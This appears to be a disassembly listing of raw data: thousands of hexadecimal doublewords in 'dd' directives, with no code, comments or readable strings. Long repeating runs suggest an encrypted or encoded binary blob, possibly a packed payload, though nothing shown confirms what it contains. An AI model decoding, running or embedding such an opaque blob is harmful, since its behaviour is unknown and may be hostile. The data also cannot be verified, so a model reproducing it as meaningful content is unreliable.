		dd 1C76E8CAh, 92CDC18Eh, 0E8A5C4B1h, 6C0959A2h,	0C4E5F2C7h
		dd 0CBF6D1D5h, 1E8CD166h, 755F8F74h, 37CB542Eh,	433A0B69h
		dd 3E898C95h, 5913030Eh, 0AD4AAE2Fh, 933D1295h,	33DDB1FFh
		dd 0BEF4A40h, 35E58006h, 0B2FBFB4h, 0A58D129Dh,	9B332310h
		dd 3C174CC4h, 0D5EF4A25h, 4D21435Bh, 0FAE1B0B7h, 486C16BDh
		dd 5F542E11h, 98E9D8E4h, 2FA2B112h, 0E5073Ch, 0E04307BEh
		dd 535ACA1Dh, 4162D404h, 0E88F8BDh, 92FFCF8Ch, 4AEDC059h
		dd 0A735CC7Ch, 3551B182h, 33BD911Eh, 3D1A4940h,	446E5126h
		dd 0D30077ABh, 94DFF63Ch, 0E74D1CDDh, 572059A2h, 0E50A04h
		dd 0F8BF8BDh, 3D1A4C89h, 93DCA926h, 6DD4B6FAh, 67C453BCh
		dd 0AF941253h, 628900A5h, 0E1739931h, 46664A49h, 0FF4D7733h
		dd 9CE5CD4Ah, 4A723D8Dh, 933D7700h, 33E2B6FAh, 7EA3D312h
		dd 0FE1DCC18h, 6D8900A5h, 0DE6E9852h, 3D1A494Ah, 93845126h
		dd 0AFD4B301h, 7F2A0D9Bh, 0AE7DB803h, 0CAF1C8E3h, 92EADEB8h
		dd 9CE62FFEh, 795A838Dh, 9FE1D81Ah, 116498Bh, 12395B41h
		dd 1B380CBEh, 0A83205BDh, 83CB542Eh, 3D75E0E3h,	4498B09Ch
		dd 3D86F85Eh, 3A154926h, 0BBF77A39h, 826177FFh,	53BD74FBh
		dd 91CB542Fh, 7894AB19h, 4162A32Eh, 0A74CABE7h,	92431493h
		dd 9CE633FEh, 7D567F8Dh, 0F8BF8BDh, 0B74B4953h,	3B184CC0h
		dd 46664A28h, 0BAF87733h, 826177FCh, 186C71FAh,	0D28A895Ch
		dd 1B24F88Fh, 0E14216BEh, 7286F8BCh, 96CCD1E1h,	24AEAFFFh
		dd 89A31C0Dh, 654CB7AEh, 1FFA2562h, 0FBD80669h,	0E04307BDh
		dd 585ACA1Dh, 4162CF05h, 0A83205BDh, 0C4CB542Eh, 0D1EED1D5h
		dd 4161F6C1h, 0E81C21D3h, 3A154C06h, 20DCA927h,	93845409h
		dd 33E4B400h, 2B674A40h, 8261786Fh, 7CD7874Bh, 16666FFCh
		dd 908A08E0h, 25CB542Eh, 0EE5BB602h, 0CED4B2AFh, 8262180Bh
		dd 0FE73CDAEh, 7197B81Fh, 2F232647h, 57AD8CBCh,	9B3F7523h
		dd 958E868Dh, 26858A15h, 0FE1DD404h, 108AF8BCh,	65C59A2Ch
		dd 544E3133h, 8261788Ah, 9B7B4C30h, 3A154CC4h, 93845127h
		dd 0E8DAB5FBh, 0A1656173h, 0BDE99CDAh, 0E50AA2h, 675BDDE7h
		dd 95C4E1CFh, 9CE632FDh, 785B848Dh, 0F80B05BDh,	4BC6CCB5h
		dd 0B12AFB59h, 0FBCB54FFh, 193A17ACh, 4162DDE7h, 0E04307BEh
		dd 0F5E4CA1Dh, 1A72834Ch, 0E74D1947h, 572059A2h, 0E50A04h
		dd 0FE1DD404h, 0F8BF8BCh, 20845489h, 92845409h,	0BBD125AEh
		dd 930C0B7h, 0E83C9224h, 487A59A2h, 760782AEh, 99927F23h
		dd 6A51D6D9h, 0DAE1D81Ah, 0E82B4055h, 0F08C59A2h, 8AE1EBC1h
		dd 36194CD7h, 0E1845123h, 36194949h, 829D7D35h,	9EE2E5A6h
		dd 33DCAC8Ah, 2B674A40h, 8261786Fh, 0EFE3014Bh,	9B754A76h
		dd 7AEF49C4h, 0E1621030h, 796396F0h, 7CCB5498h,	665BB6FEh
		dd 9CE63712h, 1A729B8Dh, 93615C9Ch, 33E1B5FBh, 36194940h
		dd 4D664A23h, 88E3ECE0h, 0FDE5CB1Eh, 0F4CEFD47h, 9CE65FCDh
		dd 545ABE8Dh, 89CAFF56h, 38544AF1h, 8B077A3Ch, 0A54F74AEh
		dd 80B28808h, 0BC97B804h, 22F77FCh, 9CE5E452h, 0B6464F8Dh
		dd 4AEF49A3h, 35F8C05Ch, 7978FD57h, 665B733Eh, 9CE63712h
		dd 9FC4B38Dh, 75B7CC2h,	0AD6EF526h, 3A63209h, 0C8E705E4h
		dd 0BBD906B6h, 0FE1DDF15h, 5459F2A5h, 0E34719ABh, 6948AAB4h
		dd 0E82C17CCh, 2083A138h, 45836DBDh, 387B8EE7h,	206B5C72h
		dd 80164909h, 0ECCB542Eh, 665AEABDh, 9CE63712h,	1A729B8Dh
		dd 5459EEBAh, 73AD321h,	33C99023h, 42664A40h, 3598337h
		dd 525A4F85h, 6F62D51Fh, 0F7E108CAh, 0B5CB542Eh, 0E8FBD2E2h
		dd 21BB59A2h, 0F5DD2E77h, 49717C4Ch, 6A035501h,	525A763Fh
		dd 73AD51Fh, 4583C6AEh,	0EC781DBDh, 2B674A74h, 8261786Fh
		dd 0EFE3014Bh, 9B7B4C78h, 0F7EF49C4h, 0B0C83969h, 6E608F17h
		dd 3FCB5447h, 13370BBEh, 0F7F79C2Fh, 56E0D7A7h,	3263F058h
		dd 0E5073Fh, 1185F8BDh,	19494B31h, 5F53367Fh, 8DDFDAE6h
		dd 73AD103h, 32CB3B23h,	44664A3Fh, 595B5B39h, 4162D622h
		dd 9CE65FCEh, 5BAE0C8Dh, 1C8CF00Bh, 57110662h, 2EE50A04h
		dd 0BDA6390Eh, 0AF941103h, 163509BDh, 0FE1DCA1Eh, 5259F2A5h
		dd 4465E31Fh, 2331B9B1h, 0B699E4Ah, 0CE1575B2h,	0D420A5AEh
		dd 2084549Ch, 708D71Bh,	5ECB542Fh, 92633310h, 9CE62FFEh
		dd 795A838Dh, 525ACA1Ah, 193AD51Fh, 4162DDE7h, 0B87F8BDh
		dd 20D6AA85h, 92845409h, 7FCD19AEh, 16350BBBh, 675BCA1Eh
		dd 94E8DFCDh, 30922257h, 9DE74D46h, 9BA9A6E5h, 0EE5B778Dh
		dd 0D9626089h, 70628468h, 92FACEF6h, 0E8A5C4B1h, 6C0959A2h
		dd 20987525h, 0BC164909h, 0F0CB542Eh, 4971864Bh, 40725557h
		dd 775C79C9h, 0BFE4CA1Ah, 4162DDE6h, 163509BEh,	665BCA1Eh
		dd 9CE63712h, 1A729B8Dh, 908A14C4h, 25CB542Eh, 0E81CB602h
		dd 93E2B606h, 9BD7A7FDh, 0E74D1CC4h, 932059A2h,	0E9D9A8FCh
		dd 0FF675F4Dh, 1B8AF77Ch, 0E50748h, 205F09BEh, 0F9FB7E0Fh
		dd 82E1EBC1h, 73AE014h,	0C8E69123h, 86A5AAB4h, 163509BAh
		dd 0A84F8BDh, 43815588h, 826178B7h, 593808E8h, 0C74BAE2Fh
		dd 82617832h, 0E36AD8A7h, 90A9DD72h, 93754A2Ah,	0E1D1A7FDh
		dd 9635B69h, 0EE5B559Fh, 0DDF2EC36h, 0A9E9E052h, 82625D14h
		dd 0D557AC5h, 381B4956h, 92845141h, 9CE633FEh, 6C567F8Dh
		dd 97EDCCF8h, 9FE3E61Ch, 92D7A78Fh, 0D43DF1B1h,	0D8CB542Eh
		dd 20BA6DC9h, 83CB542Fh, 1464FD26h, 93DB367Dh, 0E61491D5h
		dd 4161ECBBh, 0E81C683Dh, 5E1B4C06h, 94AFD8E4h,	1185F8BDh
		dd 20DAAE87h, 0A6A5DA1Bh, 4162B4E3h, 1F5F09BEh,	7ED622DAh
		dd 0D7D6D9A2h, 9841B787h, 0E2409530h, 0DB01235Ch, 0F8DAF2A5h
		dd 22F77FFh, 9CE5E452h,	0B6464F8Dh, 0BC1649A3h,	0F0CB542Eh
		dd 92D6AAC1h, 9CE633FEh, 6B567F8Dh, 3FEA1EC7h, 0FE23F1E8h
		dd 56759AB2h, 0A83205BDh, 0C4CB542Eh, 754ED1D5h, 163509BAh
		dd 0C86F8BDh, 48606030h, 1537C11h, 0FE1D7441h, 3D0B05BCh
		dd 713C95E3h, 0DB34E94Bh, 0D1CB5409h, 2E1D2513h, 1E17E0EBh
		dd 0D809F8DDh, 8BA8DD20h, 75D06DBDh, 22B3D30h, 776B4DA0h
		dd 64F8CFDDh, 7997B6DFh, 7D8F59A2h, 0F8DBA253h,	933D77FFh
		dd 33D7A7FDh, 47664A40h, 4508638h, 341D5286h, 0AF2058B7h
		dd 8AE1FB92h, 0AEF49D7h, 1189FA21h, 60F44B31h, 0B7B427E1h
		dd 0AE40E974h, 87ACA3E3h, 4162DDE7h, 1A4115BEh,	0F5E4CA1Eh
		dd 43BFBB4Fh, 0D15D3441h, 9B281EB8h, 458FB88Dh,	0E74D1CEEh
		dd 572059A2h, 0E50A04h,	595AD404h, 0C0A58A53h, 31CBD989h
		dd 0E184513Ah, 371C4949h, 2B674A24h, 8261786Fh,	8FE3014Bh
		dd 651C4CD8h, 9EE2E5CFh, 0AF45528Ah, 928454BBh,	43724059h
		dd 0D8781AFh, 245E7F1Fh, 82618A9Ah, 320809h, 0C23888h
		dd 57A5B2EBh, 0E50A04h,	1D360ABEh, 0A83205BDh, 0C4CB542Eh
		dd 754ED1D5h, 1D360ABAh
		dd 9089F2A6h, 25CB542Eh, 12380CBEh, 6C4E9732h, 3AB4947h
		dd 0E81C3263h, 371C4C06h, 4D664A24h, 32E3236h, 0E8369442h
		dd 1C7059A2h, 595A02B6h, 4162D622h, 0A64CABE7h,	92441192h
		dd 0E082F4B1h, 2E050743h, 0DCF5FF27h, 5CB669CDh, 87CB513Ch
		dd 0E04ABEA3h, 7A9AB591h, 446E54E7h, 406384D4h,	0E81C683Dh
		dd 2B674906h, 8261786Fh, 0EFE3014Bh, 2701187Bh,	153509BEh
		dd 4CC5C783h, 92774858h, 0BBD125AEh, 341DCD17h,	87B43B10h
		dd 9BCB3E19h, 371C4CC4h, 12845124h, 2EE5075Fh, 7A284B5h
		dd 66F64BB7h, 923F0FF3h, 9CE633FEh, 6B567F8Dh, 996F4C7h
		dd 11A53794h, 1033313Bh, 1185F8BDh, 0B9494B31h,	198D7A90h
		dd 1FEF7EE7h, 25B759A6h, 32466088h, 665B6570h, 0A9E91DC2h
		dd 82617714h, 3624A89Dh, 98EBF26Ch, 0EFD424B0h,	628900A5h
		dd 0E1739931h, 0BC164A49h, 0F0CB542Eh, 0E713574Ah, 0C92359A2h
		dd 92EDE1D6h, 9CE633FEh, 6B567F8Dh, 96E5F2C7h, 486649C3h
		dd 0F7E2F5DFh, 99C1E6A8h, 59F5C9DEh, 2053AE2Fh,	96F96927h
		dd 8377D1DAh, 72C2A42h,	1D360ABEh, 341DCA1Eh, 89B24510h
		dd 174315C1h, 0BAA1C689h, 675AF2A2h, 3DBFE0CCh,	9323F126h
		dd 70D0A7FDh, 97EAFBC8h, 9CE62BE3h, 1646CF8Dh, 0B1A159E7h
		dd 0D8340C38h, 9790E3D1h, 10FE5A2Bh, 66CB7BC2h,	80A1D30Eh
		dd 0A6ABD918h, 3072488Dh, 82E9556Eh, 7ADE004Ch,	0E4569F06h
		dd 0A485458Ch, 0E457CDAFh, 0D184388Ch, 19935D44h, 0B9C85A70h
		dd 6BB92B9Bh, 2F5A885Dh, 0C9EACD20h, 767BFB91h,	0EA076723h
		dd 652423D9h, 39B0904Ah, 0A84CAB02h, 59555970h,	0CBF4D30Ah
		dd 5C1FEDBFh, 0BD91868Fh, 0AC33F762h, 33AC39Bh,	0B4B8FF66h
		dd 0EF440B9Bh, 0BE0A53D1h, 69B63E1Ch, 0F1FAAF42h, 9FF1AABAh
		dd 0EEB5761Fh, 0B4B92B82h, 0C254944Ah, 0F26C9ABFh, 0A3365EC8h
		dd 73B92B9Bh, 0AB3A3602h, 0B4B92C9Ah, 0B60CA988h, 0F91B2B9Bh
		dd 0DA27307h, 0B4B92B9Bh, 89442A84h, 69644AB4h,	11h dup(0B4B92B9Bh)
		dd 0A4F9939Bh, 0CD098C42h, 816C2AA7h, 63BA54BCh, 0B4B55482h
		dd 0BCC12B9Bh, 0B9B92B83h, 0B2B92C9Bh, 0BDC1359Bh, 0B4B92B83h
		dd 3 dup(0B4B92B9Bh), 0B4B92A9Bh, 4 dup(0B4B92B9Bh), 0FCA22B9Bh
		dd 54B92BA1h, 0BDDDA80Ah, 37423372h, 0BD922780h, 0BDFBA806h
		dd 37423372h, 0BD922740h, 0BCB9A806h, 37423372h, 0BD92277Ch
		dd 0BD19A806h, 37423372h, 0BD922724h, 0BD50A806h, 37423372h
		dd 0BD922728h, 0B7EEA806h, 37423372h, 0BD92272Ch, 0B800A806h
		dd 37423372h, 0BD922730h, 0B796A806h, 37423372h, 0BD922754h
		dd 0B679A806h, 37423372h, 0BD922760h, 0B6BDA806h, 37423372h
		dd 0BD922758h, 0B664A806h, 37423372h, 0BD92275Ch, 0B679A806h
		dd 37423372h, 0BD922760h, 0B633A806h, 37423372h, 0BD922750h
		dd 0B6D2A806h, 37423372h, 0BD922774h, 0B6EDA806h, 37423372h
		dd 0BD922778h, 0BDB6A806h, 37423372h, 0BD922744h, 0BD6DA806h
		dd 37423372h, 0BD922748h, 0BE08A806h, 37423372h, 0BD92274Ch
		dd 89A2A804h, 3742334Ah, 0BD9227B7h, 9D1EA804h,	3742334Ah
		dd 0BD9227BBh, 1866AFAh, 0B4B99467h, 33132B9Bh,	0CBB5FC65h
		dd 77441B83h, 913BB383h, 4CB8A49Fh, 0B4B56A46h,	498B25CAh
		dd 0B4A118CBh, 4FB92B9Bh, 0B78A901Eh, 37AF3372h, 0BD92273Dh
		dd 0B9DB801Bh, 29B53372h, 85BA7BC6h, 0F4C46C31h, 7AFEBEEh
		dd 0BD9227BBh, 4401B2DBh, 0B4B95B53h, 94472E9Bh, 0FFB8A49Fh
		dd 0CBBCC731h, 3665B083h, 0B86B942Ah, 872C2B9Bh, 0B4B92753h
		dd 94472E9Bh, 0FFB8A49Fh, 0CBBCC731h, 3665B083h, 4C0A2B2Ah
		dd 0FFAF717Dh, 0BD92273Ch, 4A1423F6h, 0DCFC24F9h, 0B4B9290Ah
		dd 0B9C3842Bh, 90472B25h, 0E1B8A49Fh, 0B22F945Fh, 0EC172B9Bh
		dd 99C38300h, 7B0D201h,	0BD9227B7h, 0DCFCD201h,	0B4B929E2h
		dd 0BCB9E771h, 7B062EEh, 0BD9227B7h, 0B9C37C2Bh, 90472ECBh
		dd 4AB8A49Fh, 0B899AA01h, 56FB3201h, 83A16728h,	49B92B9Dh
		dd 0B4BAFF63h, 0CA74219Bh, 99435DEEh, 0BABC885Bh, 0F4FDABBDh
		dd 0E117AF2Ah, 0B3AB945Fh, 0DC8C2B9Bh, 0B4B929B6h, 289302F5h
		dd 1A177C6Ch, 0CFA1A068h, 0A6B92B9Dh, 27C12CDFh, 0B3A11AA9h
		dd 4AB92B9Dh, 0BCB9E771h, 0CA744CEEh, 994360EEh, 0BABC885Bh
		dd 0F4FDABBDh, 0B589B22Ah, 0CBB55F11h, 97172183h, 8117479Bh
		dd 0F9E4165Dh, 0DCE3E02Ah, 0B4B92CDAh, 0DCE3A92Bh, 0B4B92942h
		dd 0B4B92463h, 5FA1D29Bh, 0E4B92B9Ah, 0E4FCD239h, 93A1D236h
		dd 56B92B9Ah, 563A1653h, 0B3D79428h, 66A12B9Bh,	56B92B9Bh
		dd 0B3C39428h, 0FE92B9Bh, 10E96725h, 0B4AF9425h, 3BA12B9Bh
		dd 0A6B92B9Eh, 27C12CDFh, 1A397B8Ch, 0B4B95C63h, 0D839D19Bh
		dd 0AE18339Eh, 0B4B98B62h, 1ACE7B9Bh, 0B4B88460h, 7B02B9Bh
		dd 0BD9227BBh, 0B9987806h, 0A4BC3372h, 1ABC3226h, 0B84DE59Ch
		dd 0DCFC3372h, 0B4B92CB2h, 0B9C31C2Bh, 0AE6B9425h, 6BA22B9Bh
		dd 0E4B92B9Ah, 1ABC31F2h, 1A897C60h, 0DCE31A2Bh, 0B5B92DB6h
		dd 63C08300h, 83A1D201h, 0E4B92B99h, 4CE9D1F4h,	0DCE96725h
		dd 0DCE42324h, 0B4B92C6Dh, 61F8B2F5h, 0B8A1A75Dh, 0A3A12902h
		dd 0DCB92B99h, 0B4B92C92h, 0B9C3242Bh, 37AF6725h, 0BD922736h
		dd 0B9D2801Bh, 27BA3372h, 8136B08Eh, 44B8A49Fh,	0B4BB5863h
		dd 0B265939Bh, 54E92B9Bh, 0AFEF9425h, 0EBA22B9Bh, 0E4B92B99h
		dd 0FFAFD1FDh, 0BD922735h, 0B9D2801Bh, 27B93372h, 8136B087h
		dd 44B8A49Fh, 0B4BACF63h, 0B8F16A9Bh, 0B5B92B9Bh, 0CBB54B11h
		dd 5CCEB083h, 3AB8A483h, 0F9E3639Fh, 4DE3912Ah,	0B4249428h
		dd 1132B9Bh, 39FB4F44h,	0B2422863h, 90472B5Ch, 0E8B8A49Fh
		dd 28BA4853h, 0E4F0779Dh, 0DCE4158Bh, 0B4B92BAEh, 0B40F93CCh
		dd 3A132B9Bh, 0B9996BA0h, 0B2C36B87h, 7B06725h,	0BD9227B7h
		dd 34C0871Bh, 85E9AC5Fh, 0E188D201h, 0B5ADFB62h, 0FD44229Bh
		dd 0DC3C69A7h, 0F9BBB49Eh, 0B4B93652h, 94472E9Bh, 0FFB8A49Fh
		dd 0CBB52B39h, 794DB083h, 0B4C9845Ch, 7B02B9Bh,	0BD9227BBh
		dd 1B66B1Ch, 7B94043h, 0BD9227B7h, 0F9A88A25h, 0B5B06F62h
		dd 0B37CB29Bh, 0A82636BFh, 86A12A04h, 22B92B9Ah, 0ABB16768h
		dd 1874071h, 0B0F5A767h, 0B4B993FAh, 33132B9Bh,	0CBC1C465h
		dd 0B02EB483h, 0B854811Ah, 85B93372h, 0B4B9E41Fh, 0B4C3839Bh
		dd 2B02B9Bh, 0BD9227BBh, 983BB4DBh, 1B8A49Fh, 40EBDD43h
		dd 0B5B8A486h, 0CBB55F0Ch, 76B7B383h, 8DF2457Dh, 0B9B92B9Bh
		dd 0CBB5471Dh, 0A3DEB83h, 0BD9234DBh, 3BB56A1Ch, 8EF226A0h
		dd 0B9B92B9Bh, 0CBB54705h, 5EEBB083h, 0A9B8A482h, 0BCF10E3Eh
		dd 0B5B92B9Bh, 0CBB54B0Ch, 0B8B1AA83h, 0B6C23BEFh, 0B4B93352h
		dd 63B5339Bh, 0F3918588h, 7EF2277Fh, 0BCB92B9Bh, 80F1FCB7h
		dd 0BCB92B9Bh, 91F1FC9Fh, 0BCB92B9Bh, 90F1FC9Fh, 0BCB92B9Bh
		dd 93A0FC9Fh, 3BB92B97h, 11B3F1Ah, 0FA033F1Ah, 0B4B793CAh
		dd 4C592B9Bh, 0A855089Ch, 9875B4F2h, 783AE093h,	46323FBFh
		dd 74CE59AFh, 0B4B96ACBh, 2 dup(0B4B92B9Bh), 549DB2CEh
		dd 0B4B92C63h, 0DA3A219Bh, 0BD9234FBh, 0B8618106h, 27443372h
		dd 0B4C18483h, 18AC2B9Bh, 0B8FB74FEh, 0F3E1A9Bh, 0BD9227A3h
		dd 0B350FF1Bh, 0AB1427EEh, 0AC142A67h, 0A044255Fh, 0B4B993FAh
		dd 33132B9Bh, 0CBC2E465h, 9CEBB083h, 1B8A49Fh, 0BCF2331Ah
		dd 0A9B92B9Bh, 0F302093Eh, 0FF192B9Eh, 0CBB55459h, 0EBF8FA83h
		dd 0B4B92B82h, 0F91AD26Ch, 9CEEB0FAh, 33B8A49Fh
		dd 0B3BA2CDCh, 33BDB89Ah, 0B3BA271Ch, 0B9262C9Ah, 0ACBA8F92h
		dd 0FF196AFDh, 0CBB55459h, 0B4BA8383h, 0BCF22B9Bh, 0A9B92B9Bh
		dd 1FC0924h, 0FFF9AF5Bh, 0CBB4F821h, 20A2E83h, 0C53EDD45h
		dd 1B8A484h, 433EB150h,	5AB89CB8h, 0B9A11A9Bh, 94B92B9Bh
		dd 3B146AF4h, 33B547F7h, 8DB547DFh, 79B92B9Bh, 77C06ACCh
		dd 0E744064Ah, 0BE09FCEDh, 5F86B560h, 4A59334Ah, 0B4232B9Bh
		dd 0B4BC93CEh, 4F592B9Bh, 20420D60h, 783A27BFh,	0B45327BFh
		dd 47762B9Bh, 90F41260h, 0B3705D43h, 38012D04h,	0BE0A60D6h
		dd 0B4B92B9Bh, 8468301h, 8CA6859Ch, 0BAA2334Ah,	0B5B92B9Bh
		dd 4E0784ABh, 714E3F06h, 0B3472EA2h, 5AB89CB3h,	0B9A1199Bh
		dd 94B92B9Bh, 3B136AF5h, 33B547CFh, 88B547DFh, 72B92B9Bh
		dd 0EC0E6ACDh, 44A9EC8Eh, 0B4B95966h, 0D0ACA39Bh, 96C9A74h
		dd 1EBA103Fh, 22569254h, 0B423AC06h, 0B486E598h, 0F444334Ah
		dd 0A92C3867h, 0DD29D33Dh, 36801AFEh, 78D4534Fh, 9B98B6ADh
		dd 567E6684h, 0CD7DA817h, 0E8428064h, 0BC750EDh, 0C3131D66h
		dd 0E6C78BEDh, 2F83D773h, 62E70416h, 22DFA827h,	580D3587h
		dd 69BFE959h, 6A2A9016h, 4CA461DBh, 0F505FD25h,	0BC03BDFEh
		dd 517EB1A6h, 44524C46h, 0AC33A1Eh, 0EE4982F1h,	6D7CADB1h
		dd 42C4F894h, 424D47E2h, 1AB8DAFAh, 0F04DE464h,	4 dup(0F04DE463h)
		dd 6BE2E162h, 0F1A6DAD8h, 0A0B45AC9h, 0ECD609ECh, 0DB4E3987h
		dd 0F04DDF4Bh, 35328463h, 0C415CDFh, 0C196168h,	0F04DA968h
		dd 352A8D63h, 39A8035Eh, 0D20C58B1h, 26CEE3CDh,	0B5D1D094h
		dd 1B42656Ch, 0F037CB53h, 6D9010E3h, 1F81C4EFh,	8DA6569h
		dd 7E5BE970h, 686433CAh, 0F04DE469h, 98BA4BC3h,	0A02ECA24h
		dd 60AB5AC9h, 1A8258EDh, 0F037CB53h, 482BE3CDh,	0F04DE465h
		dd 0D2907583h, 0EC798FEAh, 0EC799FE2h, 0F04DE39Ch, 1909DA9h
		dd 0AFFDB404h, 0EFB484F4h, 1F83E536h, 6F4E3A69h, 1346F84Bh
		dd 4FEA168Eh, 0C65BF49Fh, 0F5B56F63h, 104DE463h, 672822DDh
		dd 6F597FDCh, 17597FA4h, 0B54DE464h, 1E9222D4h,	87011510h
		dd 0ECB669D6h, 704DE469h, 0F0B57E55h, 0D34DE463h, 0E482B8E2h
		dd 0F037CB5Ah, 0F050BBD3h, 0D86DE463h, 0ACD66C24h, 0ACCEDF87h
		dd 0F067DF87h, 0A00DE463h, 9611C924h, 0DE43819Dh, 7894E37Fh
		dd 0F04DD748h, 1C06C863h, 6E6408Bh, 0BC52745Eh,	0F2BD49C6h
		dd 987B3BDDh, 0EBB59C47h, 154DE463h, 0EB5F11A9h, 0D72F43D2h
		dd 0C8964DDh, 0A8BA5EE7h, 3B925CD5h, 0D65BF491h, 0F02A5D80h
		dd 0F037CB52h, 0F050BBD8h, 0D96DE463h, 0F4D67324h, 0ACCEDF87h
		dd 0F066DF87h, 0A11CE463h, 0CF67B724h, 0E9CA9C8Ah, 0E9B5EC38h
		dd 7C4DE463h, 0D1DB1ADAh, 0BB9F47F3h, 49BC3052h, 63D675A9h
		dd 0F19E7C43h, 0ED0F50EEh, 0F037CB5Ah, 0F050BBD4h, 0DD6DE463h
		dd 0D4D66724h, 0ACCEDF87h, 0F069DF87h, 0A510E463h, 0E92DDF24h
		dd 0F04DE1EDh, 6DB75A63h, 1F6EFCE7h, 0EA954169h, 0C33540D5h
		dd 482BE3CDh, 0F04DE465h, 0D2907583h, 0EC798FEAh, 0EC799FE2h
		dd 0F04DE496h, 8A909DA9h, 0EC1B0EDDh, 0C43945D0h, 481EE3CDh
		dd 0F04DE465h, 0D7906C83h, 0EC7997EAh, 0EC799FE2h, 0F04DE49Bh
		dd 0F99074A2h, 0EF85419Eh, 0F02650EAh, 0AA9CCB52h, 0C549416Bh
		dd 0C6AC5763h, 1FE2DF63h, 635BF4B4h, 5758A1E7h,	0F7E2D169h
		dd 0A05BF4B2h, 0ECD626EDh, 9E4E3987h, 0F04DDF4Bh, 35278463h
		dd 0C295CDEh, 0C196168h, 0F04DDE68h, 351FA263h,	799ECED9h
		dd 1F78CC17h, 0F05ABC69h, 4A9BE463h, 6E098D91h,	1F4EB817h
		dd 30586A69h, 0F0246071h, 0F037E463h, 0F050BBD4h, 0DD6DE463h
		dd 0D4D66724h, 0ACCEDF87h, 0F069DF87h, 0A510E463h, 93784724h
		dd 0F19E8263h, 0F059B24Ah, 9E4E3A63h, 0F04DDF4Bh, 35278463h
		dd 0C295CDEh, 0C196168h, 0F04DB068h, 351FA263h,	0EACEE345h
		dd 674DE463h, 1F7370E7h, 67C33C69h, 9E1CE75Ch, 0E9B45AC9h
		dd 0F057BBB2h, 0CBFDE463h, 0AB6D18CAh, 0D02CAEEFh, 991073Ah
		dd 0D8276AF6h, 3979DFE2h, 0C67982F9h, 0F5B59B63h, 104DE463h
		dd 673422E1h, 6F597FFCh, 17597FA4h, 0B14DE464h,	4F0422D8h
		dd 0D47544F4h, 63D61EECh, 0F19E7F13h, 0F02A5D80h, 0F037CB52h
		dd 0F050BBD9h, 0D26DE463h, 0FCD67624h, 0ACCEDF87h, 0F06CDF87h
		dd 0DA1BE463h, 416EA724h, 0F058BC10h, 81ACE463h, 0BCF5410Fh
		dd 0B4825A0Eh, 0AF0A58FBh, 315BE96Ch, 3C85D16Ah, 0EC1B0EBAh
		dd 0FF8978B8h, 482CE3CDh, 0F04DE465h, 0D9907683h, 0EC7987EAh
		dd 0EC799FE2h, 0F04DE39Eh, 64909EA8h, 7BE1AF73h, 8F837754h
		dd 0E81B0EDEh, 0F04DE463h, 0F0372835h, 482CE3CDh, 0F04DE465h
		dd 0D9907683h, 0EC7987EAh, 0EC799FE2h, 0F04DE39Ah, 8A909EA8h
		dd 0FD13CABDh, 5A0CE6FCh, 0C7F0AB41h, 0AEDA6567h, 0C65BE96Ch
		dd 0F5B59B63h, 104DE463h, 673422E1h, 6F597FFCh,	1A597FA4h
		dd 0B14DE464h, 37B222D8h, 0F069B95Dh, 9212E463h, 73528748h
		dd 52EA80E1h, 21C6CED1h, 0B5FB2AA4h, 47DCF671h,	0F04DE469h
		dd 0E9C0692Ah, 0A0935CDAh, 144FBA40h, 634E33D1h, 0F19EE6D3h
		dd 0D865D80h, 6380CB53h, 0F19EDF73h, 6C64246Ch,	0F04DE499h
		dd 0F04F5770h, 58D8E463h, 0F04F964Bh, 77925763h, 0CA5BF488h
		dd 487EC340h, 0F04DE468h, 0F04DE48Fh, 6A84CD3h,	0ACD882D9h
		dd 9E1DDF87h, 0FF640FEDh, 0E91F73C3h, 9F2569B2h, 0D82844DCh
		dd 662CE3ECh, 0ACD6672Dh, 4820DF87h, 0F04DE46Ch, 0FE595B3Fh
		dd 93A454ECh, 6286263Bh, 0D8266CE1h, 481FE3CDh,	0F04DE465h
		dd 0D6906983h, 0EC796FEAh, 0EC799FE2h, 0F04DE49Bh, 959071A5h
		dd 56A5D8E5h, 1DAA30EBh, 0EDB5CB53h, 614DE463h,	2C7CF42Eh
		dd 78C625C2h, 6F3B35B7h, 0D6771043h, 0F02A5D80h, 0F037CB52h
		dd 0F050BBD3h, 0D86DE463h, 0ACD66C24h, 0ACCEDF87h, 0F066DF87h
		dd 0A00DE463h, 5E2BE924h, 6682A549h, 0F056B977h, 2E34E463h
		dd 5B1A9F0h, 63D6A3F7h,	5758A237h, 43F25769h, 315BF16Dh
		dd 0C4368E6Ah, 0DEB671C6h, 0D94DE463h, 0E53044A6h, 0FD1EFBB8h
		dd 6A1BC160h, 0BE480EF4h, 0AA9C6770h, 0C23D4567h, 9F4E39C4h
		dd 0F04DDF4Bh, 35268463h, 0C215CDBh, 0C196168h,	0F04DA868h
		dd 351EA163h, 7F8255D8h, 6D6B5ADBh, 31CF2E37h, 0AA9C2CB9h
		dd 0C52F386Bh, 0A14E39F4h, 0F04DDF4Bh, 35348463h, 0CD15CE1h
		dd 0C196168h, 0F04DDD68h, 352C8B63h, 0B3D812AEh, 0F19EDDEBh
		dd 0F0618E28h, 0C64DE463h, 0F5B57263h, 104DE463h, 672722DEh
		dd 6F597FD4h, 18597FA4h, 0AE4DE464h, 1F8B22D5h,	0CAFC61A3h
		dd 0F0371AECh, 482BE3CDh, 0F04DE465h, 0D2907583h, 0EC798FEAh
		dd 0EC799FE2h, 0F04DE49Bh, 0FF909DA9h, 4350E114h, 0ED0F60EFh
		dd 0F037CB5Ah, 0F050BBD6h, 0D36DE463h, 0C4D67524h, 0ACCEDF87h
		dd 0F066DF87h, 0DB1AE463h, 3228D324h, 0CAFF4F1Dh, 84B2BEE2h
		dd 0F05BBBF0h, 0B7C7E463h, 0A6B09C4Dh, 3FE12DC3h, 0D62EC138h
		dd 0ECD7E6D3h, 0A54DE463h, 60346CD8h, 481EE3CAh, 0F04DE465h
		dd 0D7906C83h, 0EC7997EAh, 0EC799FE2h, 0F04DE39Dh, 0CA9074A2h
		dd 4A0A840Ah, 0B63B0087h, 9B54D3E0h, 0F19E7ABBh, 0E9BE60B2h
		dd 0B93BCB52h, 3057F8FFh, 0F02B6071h, 0F037E463h, 0F050BBD9h
		dd 0D26DE463h, 0FCD67624h, 0ACCEDF87h, 0F066DF87h, 0DA1BE463h
		dd 69B7A124h, 0CAA47989h, 38B615ECh, 0C64DE464h, 0F5B57163h
		dd 104DE463h, 672622DBh, 6F597FACh, 14597FA4h, 0AF4DE464h
		dd 0A6F122D2h, 3219799Dh
		dd 0E9A1D9B2h, 63D61340h, 0F19EE417h, 79C7D54Ah, 2F925981h
		dd 635BF4B4h, 1F3D2037h, 0AFE2E169h, 0B85BF49Fh, 0F04DE480h
